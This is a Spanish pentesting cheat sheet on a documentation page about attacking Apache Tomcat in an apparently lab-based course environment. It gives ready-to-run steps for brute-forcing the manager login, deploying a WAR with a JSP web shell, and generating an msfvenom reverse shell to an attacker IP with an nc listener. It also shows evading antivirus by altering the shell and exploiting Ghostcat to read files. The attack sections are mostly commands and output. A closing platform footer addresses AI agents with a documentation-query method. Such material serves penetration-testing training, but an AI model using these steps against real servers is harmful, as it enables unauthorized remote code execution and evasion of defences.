> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/tomcat.md).

# Tomcat

## Discovery & Enumeration

**Apache Tomcat** es un web server open-source que hospeda apps **Java** (Servlets y **JSP**). Usado por frameworks como Spring y herramientas como Gradle. Puesto #13 en market share de web servers.

> Menos expuesto a internet que un CMS, pero excelente **foothold** hacia la red interna. Muy común en pentests **internos** — suele encabezar los "High Value Targets" de EyeWitness, a menudo con credenciales débiles/por defecto.

### 1. Discovery / Footprinting

#### Header Server / página de error

El header `Server` en la respuesta HTTP delata la versión. Si hay reverse proxy, una página inválida la revela:

```
http://app-dev.inlanefreight.local:8080/invalid
# HTTP 404 - Apache Tomcat/9.0.30
```

#### Página /docs (si los errores custom ocultan la versión)

```bash
curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat
# <title>Apache Tomcat 9 (9.0.30) - Documentation Index</title>
```

> La doc por defecto a menudo no se remueve → revela la versión.

### 2. Estructura de directorios

```
├── bin/          → scripts/binarios para arrancar Tomcat
├── conf/         → configuraciones
│   ├── tomcat-users.xml   → credenciales y roles
│   └── web.xml
├── lib/          → JARs de Tomcat
├── logs/ temp/   → logs temporales
├── webapps/      → webroot; hospeda las apps
│   ├── manager/
│   └── ROOT/
└── work/         → caché en runtime
```

#### Estructura de una app (webapps/customapp)

Archivos clave:

| Archivo            | Rol                                                           |
| ------------------ | ------------------------------------------------------------- |
| `WEB-INF/web.xml`  | **Deployment descriptor**: mapea rutas ↔ clases.              |
| `WEB-INF/classes/` | Clases compiladas (lógica de negocio, posible info sensible). |
| `WEB-INF/lib/`     | Librerías de la app.                                          |
| `WEB-INF/jsp/`     | Archivos JSP (equivalente a los PHP en Apache).               |

#### web.xml (deployment descriptor)

```xml
<web-app>
  <servlet>
    <servlet-name>AdminServlet</servlet-name>
    <servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/admin</url-pattern>
  </servlet-mapping>
</web-app>
```

> Mapea `/admin` → la clase `com.inlanefreight.api.AdminServlet`. La notación de puntos = ruta en disco: `classes/com/inlanefreight/api/AdminServlet.class`. Archivo clave a leer si hay **LFI**.

#### tomcat-users.xml (credenciales y roles)

```xml
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
```

Roles del manager:

| Rol              | Acceso                        |
| ---------------- | ----------------------------- |
| `manager-gui`    | GUI HTML + páginas de estado. |
| `manager-script` | API HTTP + estado.            |
| `manager-jmx`    | Proxy JMX + estado.           |
| `manager-status` | Solo páginas de estado.       |

> Este archivo controla el acceso a `/manager` y `/host-manager`. Objetivo clave si hay LFI.

### 3. Enumeración

Buscar las páginas admin `/manager` y `/host-manager` (Gobuster o directo):

```bash
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
# /docs (302)
# /examples (302)
# /manager (302)
```

> Intentar login con credenciales débiles (`tomcat:tomcat`, `admin:admin`). Si fallan → brute-force (siguiente sección). Con acceso al manager → subir un **WAR** con un JSP web shell → **RCE**.

### Resumen rápido

| Paso           | Método                                 | Qué obtiene                            |
| -------------- | -------------------------------------- | -------------------------------------- |
| 1. Identificar | Header `Server`, `/invalid`, `/docs/`  | Confirma Tomcat + versión.             |
| 2. Estructura  | `web.xml`, `tomcat-users.xml`          | Rutas, clases, credenciales (vía LFI). |
| 3. Manager     | Gobuster → `/manager`, `/host-manager` | Portal admin para subir WAR.           |

> Archivos joya vía LFI: `tomcat-users.xml` (credenciales del manager) y `WEB-INF/web.xml` (mapeo de rutas/clases). El objetivo final: acceder al `/manager` → subir WAR con JSP shell → RCE (siguiente sección).

## Attacking

Con acceso a `/manager` o `/host-manager` → **RCE** vía WAR malicioso. Vías: **brute-force** del manager, **subir un WAR** con JSP shell, y el CVE **Ghostcat** (LFI no autenticado).

### 1. Brute-force del Manager

#### Metasploit

```
use auxiliary/scanner/http/tomcat_mgr_login
set VHOST web01.inlanefreight.local
set RPORT 8180
set rhosts 10.129.201.58
set stop_on_success true
run
# [+] Login Successful: tomcat:admin
```

| Opción                 | Descripción                                   |
| ---------------------- | --------------------------------------------- |
| `VHOST` + `rhosts`     | Virtual host + IP (necesarios ambos).         |
| `stop_on_success true` | Para al primer éxito (evita requests de más). |
| `TARGETURI`            | Default `/manager/html`.                      |
| `USERPASS_FILE`        | `tomcat_mgr_default_userpass.txt`.            |

> Tomcat usa **Basic Auth**: el scanner base64-codifica cada par (`admin:vagrant` → `YWRtaW46dmFncmFudA==`). Para depurar, proxear por Burp: `set PROXIES HTTP:127.0.0.1:8080`.

#### Script Python (alternativa)

```bash
python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager \
  -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt \
  -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
# [+] Success! Username: tomcat / Password: admin
```

> Nota metodológica: usar Metasploit no es "malo" si entiendes qué hace y sus riesgos. En un assessment de 40h con 1500 hosts, la eficiencia importa — pero hay que saber hacerlo manual y explicar la herramienta al cliente.

### 2. WAR File Upload (RCE)

El manager (`/manager/html`, rol `manager-gui`) permite desplegar apps subiendo un **WAR** (Web Application Archive). Metemos un JSP web shell.

#### Con JSP web shell (cmd.jsp)

```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
```

Deploy en el manager → aparece `/backup`. Ejecutar (hay que especificar el `.jsp`):

```bash
curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
# uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
```

> ⚠️ Ir a `/backup/` da 404 → hay que apuntar a `/backup/cmd.jsp`.

#### Con msfvenom (reverse shell)

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war
nc -lnvp 4443
```

Deploy y clic en `/backup` → shell:

```
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
```

| Elemento                        | Descripción                |
| ------------------------------- | -------------------------- |
| `-p java/jsp_shell_reverse_tcp` | Payload reverse shell JSP. |
| `-f war`                        | Formato WAR.               |

> El módulo `multi/http/tomcat_mgr_upload` automatiza todo esto.

#### Limpieza y evasión

* 🧹 **Undeploy** la app `/backup` desde el manager (remueve el WAR y el directorio). Anotar ruta (ej. `/opt/tomcat/.../webapps`) para el reporte.
* **Evasión AV:** el `cmd.jsp` lo detectan 2/58 vendors; un cambio trivial (ej. `Uploaded:` → `uPlOaDeD:`) baja a 0/58.
* **Web shells (externos):** nombre randomizado (MD5), limitar por IP origen, password-proteger → evitar que un atacante use tu shell.

### 3. Ghostcat (CVE-2020-1938)

**LFI no autenticado** por misconfiguración del protocolo **AJP** (Apache Jserv Protocol, binario, para proxear requests). Afecta Tomcat < 9.0.31, < 8.5.51, < 7.0.100.

#### Detectar AJP (puerto 8009)

```bash
nmap -sV -p 8009,8080 app-dev.inlanefreight.local
# 8009/tcp open ajp13   Apache Jserv (Protocol v1.3)
# 8080/tcp open http    Apache Tomcat 9.0.30
```

#### Explotar (leer WEB-INF/web.xml)

```bash
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
```

| Flag                 | Descripción     |
| -------------------- | --------------- |
| `-p 8009`            | Puerto AJP.     |
| `-f WEB-INF/web.xml` | Archivo a leer. |

> ⚠️ Solo lee archivos **dentro del webapps folder** → no accede a `/etc/passwd`, pero sí a archivos sensibles del `WEB-INF`.

### Resumen rápido

| Vía                     | Requiere                                | Resultado                                   |
| ----------------------- | --------------------------------------- | ------------------------------------------- |
| **Brute-force manager** | —                                       | Credenciales (`tomcat_mgr_login` / script). |
| **WAR upload**          | Credenciales manager                    | RCE (JSP shell o reverse shell msfvenom).   |
| **Ghostcat**            | AJP (8009) expuesto, versión vulnerable | LFI no auth (archivos del webapps).         |

> Tomcat corre a menudo como **SYSTEM o root** → foothold privilegiado en Linux o en un Windows unido al dominio (AD). Siempre probar credenciales débiles en el manager; el acceso se convierte rápido en RCE. Limpiar WAR/shells y documentar.

##


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/tomcat.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
